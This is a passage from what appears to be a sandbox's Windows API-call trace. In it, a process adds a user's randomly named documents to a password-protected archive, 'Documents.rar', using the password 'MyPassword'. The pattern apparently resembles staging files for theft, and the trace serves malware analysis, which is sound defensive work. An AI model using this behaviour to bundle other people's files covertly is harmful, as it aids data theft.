(in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.967] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.967] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x86d0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x86d0, lpOverlapped=0x0) returned 1 [0082.967] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.967] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.967] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1497249, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x16d8a1 [0082.967] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x16d8a1 [0082.967] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.967] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.967] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e8893a0 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.968] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888ea0 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e60 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x71) returned 0x1162e875640 [0082.968] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875640, Size=0xad) returned 0x1162e7f6a00 [0082.968] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f6a02*, nNumberOfBytesToWrite=0xab, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f6a02*, lpNumberOfBytesWritten=0x141a0d82c0*=0xab, lpOverlapped=0x0) returned 1 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e60 [0082.968] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xab) returned 0x1162e7f5e00 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f6a00 | out: hHeap=0x1162e7c0000) returned 1 [0082.968] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x17601c [0082.968] CloseHandle (hObject=0x350) returned 1 [0082.968] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.968] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.968] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.968] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.968] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\99y9.odt", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.968] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.968] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\99y9.odt" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\99y9.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.969] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.969] GetTickCount () returned 0x2a8b9 [0082.969] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.969] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.969] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.969] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.969] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="3k35ZmjoIQgYRoHKpmkK.pdf") returned 24 [0082.969] SetWindowTextW (hWnd=0x10300, lpString="99y9.odt") returned 1 [0082.969] GetTickCount () returned 0x2a8b9 [0082.969] UpdateWindow (hWnd=0x102f8) returned 1 [0082.969] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.969] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.970] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.970] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.970] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x1cc)) [0082.970] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.970] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17429850768) returned 1 [0082.970] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xf242, lpOverlapped=0x0) returned 1 [0082.971] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9d282, nNumberOfBytesToRead=0xf0dbe, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9d282*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.971] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.971] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.971] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e8893a0 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.971] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888ea0 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.971] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.971] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x61) returned 0x1162e7f9610 [0082.971] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9610, Size=0x9d) returned 0x1162e8741a0 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.971] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8741a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.972] GetTickCount () returned 0x2a8b9 [0082.972] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17430101247) returned 1 [0082.972] GetTickCount () returned 0x2a8b9 [0082.972] GetTickCount () returned 0x2a8b9 [0082.972] GetTickCount () returned 0x2a8b9 [0082.973] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.973] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.973] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.973] ResetEvent (hEvent=0x344) returned 1 [0082.973] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.976] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.976] ResetEvent (hEvent=0x344) returned 1 [0082.976] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.977] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.977] GetTickCount () returned 0x2a8b9 [0082.977] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17430610303) returned 1 [0082.978] GetTickCount () returned 0x2a8b9 [0082.978] GetTickCount () returned 0x2a8b9 [0082.978] GetTickCount () returned 0x2a8b9 [0082.978] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.978] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.978] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.978] ResetEvent (hEvent=0x33c) returned 1 [0082.978] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.979] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.979] ResetEvent (hEvent=0x33c) returned 1 [0082.979] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.980] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.980] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.980] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.980] GetFocus () returned 0x1031c [0082.980] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.981] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.981] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x17601c [0082.981] SetFilePointer (in: hFile=0x32c, lDistanceToMove=155, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1760b7 [0082.981] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.981] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.981] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.981] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.981] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xf2d0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xf2d0, lpOverlapped=0x0) returned 1 [0082.982] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0082.983] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0082.983] GetFocus () returned 0x1031c [0082.983] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0082.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.984] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1531932, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x17601c [0082.984] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x17601c [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0082.984] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e889490 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.984] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888ea0 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889490 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x61) returned 0x1162e7f9840 [0082.984] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9840, Size=0x9d) returned 0x1162e874510 [0082.984] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e874512*, nNumberOfBytesToWrite=0x9b, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e874512*, lpNumberOfBytesWritten=0x141a0d82c0*=0x9b, lpOverlapped=0x0) returned 1 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.984] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x9b) returned 0x1162e8741a0 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e874510 | out: hHeap=0x1162e7c0000) returned 1 [0082.984] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x185387 [0082.984] CloseHandle (hObject=0x350) returned 1 [0082.984] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.984] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.985] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.985] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d4c0 [0082.985] FindClose (in: hFindFile=0x1163204d4c0 | out: hFindFile=0x1163204d4c0) returned 1 [0082.985] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\l 4nHi8sklRbErgBL.pps" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\l 4nhi8sklrbergbl.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.985] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.985] GetTickCount () returned 0x2a8c9 [0082.985] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.985] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.985] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.985] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.985] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="99y9.odt") returned 8 [0082.985] SetWindowTextW (hWnd=0x10300, lpString="l 4nHi8sklRbErgBL.pps") returned 1 [0082.986] GetTickCount () returned 0x2a8c9 [0082.986] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.986] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.986] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.986] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.986] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x1db)) [0082.986] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.986] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17431475713) returned 1 [0082.986] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xd103, lpOverlapped=0x0) returned 1 [0082.987] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9b143, nNumberOfBytesToRead=0xf2efd, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9b143*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.987] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.987] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.987] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e90, Size=0x48) returned 0x1162e888ea0 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.987] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e90, Size=0x48) returned 0x1162e888ef0 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0082.987] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0082.987] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x78) returned 0x1162e875640 [0082.987] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875640, Size=0xb6) returned 0x1162e7f6100 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.987] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f6100 | out: hHeap=0x1162e7c0000) returned 1 [0082.989] GetTickCount () returned 0x2a8c9 [0082.989] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17431788652) returned 1 [0082.989] GetTickCount () returned 0x2a8c9 [0082.989] GetTickCount () returned 0x2a8c9 [0082.989] GetTickCount () returned 0x2a8c9 [0082.989] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.989] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.989] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.990] ResetEvent (hEvent=0x344) returned 1 [0082.990] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.992] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.992] ResetEvent (hEvent=0x344) returned 1 [0082.992] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.994] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.994] GetTickCount () returned 0x2a8c9 [0082.994] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17432297566) returned 1 [0082.994] GetTickCount () returned 0x2a8c9 [0082.994] GetTickCount () returned 0x2a8c9 [0082.994] GetTickCount () returned 0x2a8c9 [0082.994] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.994] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.995] 